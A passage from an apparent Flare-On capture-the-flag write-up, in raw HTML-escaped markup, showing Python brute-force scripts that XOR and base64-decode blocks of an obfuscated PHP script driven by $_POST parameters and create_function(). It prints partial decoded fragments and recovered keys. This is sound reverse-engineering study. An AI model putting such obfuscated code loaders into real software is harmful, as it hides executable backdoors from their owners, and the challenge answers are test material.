&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;candidate ^ block[key_length*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:key_length*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0 &lt;&#x2F;span&gt;&lt;span&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;] in string.printable and \
&lt;&#x2F;span&gt;&lt;span&gt;     candidate ^ block[key_length*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:key_length*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;] in string.printable and \
&lt;&#x2F;span&gt;&lt;span&gt;     candidate ^ block[key_length*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:key_length*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2 &lt;&#x2F;span&gt;&lt;span&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;] in string.printable and \
&lt;&#x2F;span&gt;&lt;span&gt;     etc.. :
&lt;&#x2F;span&gt;&lt;span&gt;     possible_block.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span&gt;(candidate)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;I used Python’s &lt;code&gt;itertools.product&lt;&#x2F;code&gt; to generate all the candidate blocks, and
little by little recovered the value for &lt;code&gt;$param&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; python bf2.py
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;possible_key&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;de6952b84a49b934acb436418ad9d93d237df05769afc796d063000000000000
&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0, &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;$c=\&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\r\n&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;key&lt;&#x2F;span&gt;&lt;span&gt; = &amp;quot;&amp;quot;;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\r\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; (isset($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_POST&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;o_o&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\r\n  &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ka&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;(64, &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;oXo&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\r\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; (isset($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_POST&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;hint&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\r\n  &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span&gt; = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;www.p01*&amp;#39;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;(128, &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;stet($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_POST&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\r\n&lt;&#x2F;span&gt;&lt;span&gt;  if ($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_POST&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; == &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\r\n&lt;&#x2F;span&gt;&lt;span&gt;$&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;(192, &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;63_decode&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;SDcGHg1feVUIEhsbDxFhIBIYFQY+VwMWTyAcOhEYE&amp;quot;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;(256, &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;DJXTWxrSH4ZS1IiAgA3GxYUQVMvBFdVTysRMQAaQUxZYTlsTg0MA&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;(320, &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;whbXgcxHQRBAxMcWwodHV5EfxQfAAYrMlsCQlJBAAAAAAAAAAAAE&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;After a few iteration, it appears that the encoded block contains not just pure
PHP but also HTML, which allowed me to perfect the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;8fa710e906033f377e68c24dce44070e#file-bf2-py-L6&quot;&gt;condition for finding a valid candidate&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;After many iterations, we get the value for &lt;code&gt;$param&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$param = &amp;quot;db6952b84a49b934acb436418ad9d93d237df05769afc796d067bccb379f2cac&amp;quot;;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;step-3&quot;&gt;Step 3&lt;&#x2F;h3&gt;
&lt;p&gt;Entering the correct value for &lt;code&gt;$param&lt;&#x2F;code&gt; found in step 2 allow us to discover the
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;8fa710e906033f377e68c24dce44070e#file-decoded_script-php&quot;&gt;decoded script&lt;&#x2F;a&gt; passed
to &lt;code&gt;create_function()&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;And back to square 1, we have 3 new base64-encoded blocks to decode. Depending
on the value given in the &lt;code&gt;$_POST[&#x27;t&#x27;]&lt;&#x2F;code&gt; (can be ‘c’, ‘s’ or ‘w’), will split the
key every 3 character, starting from index 0, 1, or 2 (respectively).&lt;&#x2F;p&gt;
&lt;p&gt;I took a huge assumption here, which was that &lt;code&gt;$key&lt;&#x2F;code&gt; would be the flag to end the
challenge. Therefore, even though we don’t know its length (yet), we know that
it ends with &lt;code&gt;@flare-on.com&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;So for this step, I used the same technique than step2 but split the key every 3
characters and see if the block of byte was successfully decoded.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;key = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;fla&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;+&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;re-&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;+&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;on.&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;+&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;com&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;j &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    k = key[j::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        x = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;xor&lt;&#x2F;span&gt;&lt;span&gt;( &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;b64d&lt;&#x2F;span&gt;&lt;span&gt;(c), &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*i+k)[i::i+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(k)]
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;is_all_printable&lt;&#x2F;span&gt;&lt;span&gt;(x):
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;print &lt;&#x2F;span&gt;&lt;span&gt;j, i, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;repr&lt;&#x2F;span&gt;&lt;span&gt;(x)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Just like step1 this approach gives us 2 possible length for the flag prefix
(i.e. before &lt;code&gt;@flare-on.com&lt;&#x2F;code&gt;): 8 or 9 bytes.&lt;&#x2F;p&gt;
&lt;p&gt;So there again, semi-manual brute-force:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;i = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;9
&lt;&#x2F;span&gt;&lt;span&gt;k0 = key[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;string.printable:
&lt;&#x2F;span&gt;&lt;span&gt;    p = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*(i-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) + t + k0
&lt;&#x2F;span&gt;&lt;span&gt;    x = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;xor&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;b64d&lt;&#x2F;span&gt;&lt;span&gt;(c), p)
&lt;&#x2F;span&gt;&lt;span&gt;    b = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;all_printable_blocks&lt;&#x2F;span&gt;&lt;span&gt;(x, i-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(p), &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(p)-(i-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;b != []:
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;print &lt;&#x2F;span&gt;&lt;span&gt;p, b
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We quickly notice that the output has some HTML in it, so we can discard
candidates with invalid HTML patterns. For example:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;➜&lt;&#x2F;span&gt;&lt;span&gt;  python  bf.py
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AAAAAAAA0froc &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;8titl&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ged C&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;`&amp;lt;&#x2F;ti&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;)- Ma&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;41&amp;#39; H&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;\t\n&amp;lt;bo&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;pext=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;klor=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;kd0=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;0froc&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;$titl&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;phieu&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;anri&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;gript&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;perva&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;=7,i&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;X&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;n&amp;#39;;&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;=P[i&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;n-j+n&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;6])j=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;jerHT&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ge(4)&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;+scri&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;kdy&amp;gt;\r&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AAAAAAAA2froc &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;:titl&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;eed C&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;b&amp;lt;&#x2F;ti&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;+- Ma&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;61&amp;#39; H&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;\x0b\n&amp;lt;bo&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;rext=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ilor=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;id0=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2froc&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;amp;titl&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;rhieu&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;cnri&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;eript&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;rerva&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;-=7,i&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Z&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;n&amp;#39;;&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;-=P[i&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;l-j+n&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;4])j=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;herHT&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ee(4)&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;)scri&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;idy&amp;gt;\r&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AAAAAAAA3froc &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;;titl&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ded C&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;c&amp;lt;&#x2F;ti&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;*- Ma&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;71&amp;#39; H&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;#39;&lt;&#x2F;span&gt;&lt;span 